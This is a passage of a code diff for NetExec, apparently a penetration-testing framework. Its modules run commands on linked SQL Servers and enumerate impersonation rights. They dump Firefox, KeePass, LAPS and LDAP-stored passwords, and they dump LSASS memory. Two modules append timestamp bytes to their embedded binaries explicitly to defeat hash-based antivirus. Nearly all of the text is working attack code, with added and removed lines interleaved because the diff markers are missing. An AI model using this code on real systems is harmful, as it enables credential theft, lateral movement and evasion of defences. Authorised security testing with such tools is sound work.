if exename == "certsrv.exe":
context.log.highlight("Active Directory Certificate Services Found.")
url = f"http://{connection.host}/certsrv/certfnsh.asp"
context.log.highlight(url)
try:
response = requests.get(url, timeout=5)
if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
context.log.highlight("Web enrollment found on HTTP (ESC8).")
except requests.RequestException as e:
context.log.debug(e)
return
def __fetchList(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
+46
View File
@@ -0,0 +1,46 @@
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
Module by deathflamingo
"""
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")
def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
+53
View File
@@ -0,0 +1,53 @@
class NXCModule:
"""
Enumerate SQL Server linked servers
Module by deathflamingo, NeffIsBack
"""
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
def on_admin_login(self, context, connection):
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
+40
View File
@@ -0,0 +1,40 @@
class NXCModule:
"""
Enumerate SQL Server logins
Module by deathflamingo
"""
name = "enum_logins"
description = "Enumerate SQL Server logins"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.success("Logins found:")
for login in logins:
self.context.log.display(f" - {login}")
else:
self.context.log.fail("No logins found.")
def get_logins(self) -> list:
"""
Fetches a list of SQL Server logins.
Returns
-------
list: List of login names.
"""
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
res = self.mssql_conn.sql_query(query)
return [login["name"] for login in res] if res else []
def options(self, context, module_options):
pass
@@ -17,12 +17,11 @@ class NXCModule:
pass
def on_login(self, context, connection):
domain_dn = ",".join(["DC=" + dc for dc in connection.domain.split(".")])
search_filter = "(&(objectClass=trustedDomain))"
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchBase=domain_dn, searchFilter=search_filter, attributes=attributes, sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
+3 -3
View File
@@ -12,9 +12,9 @@ class NXCModule:
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""Required.
+42
View File
@@ -0,0 +1,42 @@
class NXCModule:
"""
Execute commands on linked servers
Module by deathflamingo
"""
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return
self.execute_on_link()
def execute_on_link(self):
"""Executes the specified command on the linked server."""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
+1 -1
View File
@@ -39,7 +39,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+29 -15
View File
@@ -1,5 +1,5 @@
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
@@ -10,16 +10,24 @@ class NXCModule:
"""
name = "firefox"
description = "Dump credentials from Firefox"
description = "[REMOVED] Dump credentials from Firefox"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""Dump credentials from Firefox"""
"""
[REMOVED] use the --dpapi flag instead of the module firefox.
COOKIES Get also Firefox cookies
"""
self.gather_cookies = "COOKIES" in module_options
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
return
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
@@ -41,19 +49,25 @@ class NXCModule:
use_kcache=use_kcache,
)
def firefox_callback(secret):
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
context.db.add_dpapi_secrets(
target.address,
"FIREFOX",
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=context.log)
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
firefox_triage.upgrade_connection(connection=connection.conn)
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[{}][FIREFOX] {} {}:{}".format(
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
credential.password,
)
)
firefox_triage.run(gather_cookies=self.gather_cookies)
except Exception as e:
context.log.debug(f"Error while looting firefox: {e}")
+12 -21
View File
@@ -1,7 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import re
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -31,7 +31,7 @@ class NXCModule:
self.MINLENGTH = module_options["MINLENGTH"]
if "PASSWORDPOLICY" in module_options:
self.PASSWORDPOLICY = True
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -40,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
@@ -55,24 +55,10 @@ class NXCModule:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
description = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = attribute["vals"][0]
if sAMAccountName != "" and description != "":
answers.append([sAMAccountName, description])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success("Found following users: ")
@@ -102,6 +88,11 @@ class NXCModule:
if self.regex.search(description):
conditionPasswordPolicy = True
if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
if conditionFilter and not self.PASSWORDPOLICY:
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
answersFiltered.append([answer[0], description])
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
return answersFiltered
@@ -121,7 +121,7 @@ class NXCModule:
sfilter = "(DC=*)"
try:
list_sites = connection.ldapConnection.search(
list_sites = connection.ldap_connection.search(
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
+46
View File
@@ -0,0 +1,46 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get unixUserPassword attribute from all users in ldap
Module by @SyzikSecu
"""
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(unixUserPassword=*)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
else:
context.log.fail("No unixUserPassword Found")
+46
View File
@@ -0,0 +1,46 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get userPassword attribute from all users in ldap
Module by @SyzikSecu
"""
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(userPassword=*)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
else:
context.log.fail("No unixUserPassword Found")
@@ -11,7 +11,7 @@ class NXCModule:
"""
name = "group-mem"
description = "Retrieves all the members within a Group"
description = "[REMOVED] Retrieves all the members within a Group"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
@@ -19,7 +19,9 @@ class NXCModule:
answers = []
def options(self, context, module_options):
"""
r"""
[REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
@@ -34,6 +36,9 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
@@ -68,7 +73,7 @@ class NXCModule:
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+1 -1
View File
@@ -37,7 +37,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
+19 -11
View File
@@ -5,9 +5,9 @@
import base64
import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
import pypykatz
from pypykatz.pypykatz import pypykatz
class NXCModule:
@@ -34,6 +34,8 @@ class NXCModule:
self.handlekatz_path = "/tmp/"
self.dir_result = self.handlekatz_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -50,7 +52,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz
if self.useembeded:
try:
with open(handlekatz_loc, "wb") as handlekatz:
@@ -78,6 +80,7 @@ class NXCModule:
if not p or p == "None":
context.log.fail("Failed to execute command to get LSASS PID")
self.delete_handlekatz_binary(connection, context)
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
@@ -96,12 +99,15 @@ class NXCModule:
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False
if dump:
if not dump:
self.delete_handlekatz_binary(connection, context)
return
else:
regex = r"([A-Za-z0-9-]*\.log)"
matches = re.search(regex, str(p), re.MULTILINE)
if not matches:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
return
machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
@@ -113,12 +119,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
self.delete_handlekatz_binary()
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
@@ -182,3 +183,10 @@ class NXCModule:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail(f"Error opening dump file: {e}")
def delete_handlekatz_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
+5 -9
View File
@@ -70,11 +70,7 @@ def create_db(local_admins, dbconnection, cursor):
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
if connection.args.local_auth:
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
for result in credentials_data:
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
@@ -85,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -99,7 +95,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -146,7 +142,7 @@ class NXCModule:
@staticmethod
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_computers(connection.host)[0][0]
host_id = context.db.get_hosts(connection.host)[0][0]
if password is not None:
credential_type = "plaintext"
else:
@@ -202,7 +198,7 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(file).parse()
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
+53
View File
@@ -0,0 +1,53 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
"""Module by @joaovarelas"""
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
self.context = context
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
key = "HostName"
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
# Query
try:
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
key_handle = ans["phkResult"]
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
self.context.log.highlight(f"{key}: {reg_value}")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
except DCERPCException as e:
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
except Exception as e:
self.context.log.fail(f"Error while querying registry: {e}")
finally:
remote_ops.finish()
+1 -1
View File
@@ -37,7 +37,7 @@ class NXCModule:
return
def execute_appcmd(self, context, connection):
command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
context.log.info("Checking For Hidden Credentials With Appcmd.exe")
output = connection.execute(command, True)
+6 -1
View File
@@ -6,7 +6,7 @@
from base64 import b64decode
from os import path
import sys
from datetime import datetime
from nxc.paths import DATA_PATH
@@ -29,8 +29,13 @@ class NXCModule:
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
+49
View File
@@ -0,0 +1,49 @@
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
def on_login(self, context, connection):
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
context.log.debug(f"Retrieving network interface of {connection.host}")
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
if self.pivot:
if NetworkAddr.rstrip("\x00") != connection.host:
context.log.highlight(f"Address: {NetworkAddr}")
else:
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
context.log.error(f"DCERPCException error: {e}")
+26 -26
View File
@@ -1,7 +1,5 @@
import os
import sys
import json
from xmltodict import parse
from time import sleep
from csv import reader
from base64 import b64encode
@@ -381,28 +379,30 @@ class NXCModule:
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
xml_tree = ElementTree.parse(xml_doc_path)
root = xml_tree.getroot()
to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
xml_to_dict = parse(to_string)
dump = json.dumps(xml_to_dict)
obj = json.loads(dump)
if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
for password in obj2["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
try:
for obj3 in obj2["Entry"]:
for password in obj3["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
except KeyError:
pass
root_entries = root.find("./Root/Entry")
if root_entries is not None:
for entry in root_entries:
if entry is not None:
self.print_password(context, entry)
else:
context.log.highlight("None")
objects = root.findall("./Root/Group")
while objects:
current_object = objects.pop(0)
for entry in current_object.findall("./Entry"):
self.print_password(context, entry)
for history in entry.findall("./History"):
for history_entry in history.findall("./Entry"):
self.print_password(context, history_entry)
objects.extend(current_object.findall("./Group"))
def print_password(self, context, entries):
for entry in entries.findall("./String"):
key = entry.find("./Key")
value = entry.find("./Value")
key_text = key.text if key is not None else "None"
value_text = value.text if value is not None and value.text is not None else "None"
context.log.highlight(f"{key_text} : {value_text}")
context.log.highlight("-------------------------------------")
+3 -3
View File
@@ -45,12 +45,12 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return
context.log.fail(str(e))
continue
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+223 -141
View File
@@ -1,6 +1,8 @@
import socket
import ssl
import asyncio
import hashlib
import random
from msldap.connection import MSLDAPClientConnection
from msldap.commons.target import MSLDAPTarget
@@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential
from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import sys
import contextlib
class NXCModule:
"""
Checks whether LDAP signing and channelbinding are required.
Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
Module by LuemmelSec (@theluemmel), updated by @zblurx
Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
"""
name = "ldap-checker"
description = "Checks whether LDAP signing and binding are required and / or enforced"
description = "Checks whether LDAP signing and channel binding are required and / or enforced"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
@@ -30,148 +31,229 @@ class NXCModule:
def options(self, context, module_options):
"""No options available."""
def on_login(self, context, connection):
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
elif "data 52e" in str(err):
return False # channel binding not enforced
elif err is None:
# LDAPS bind successful
# because channel binding is not enforced
return False
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.debug(f"Error connecting to {connection.domain}: {err}")
return None
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
# LDAPS bind has without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True
elif "data 52e" in str(err):
return False
elif err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
client.cb_data = None
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True # -> channel binding IS enforced
elif err and "data 52e" in str(err):
return False # -> channel binding not enforced
elif err is None:
return False
return False # LDAPS bind successful -> channel binding not enforced
else:
context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
return None
except Exception as e:
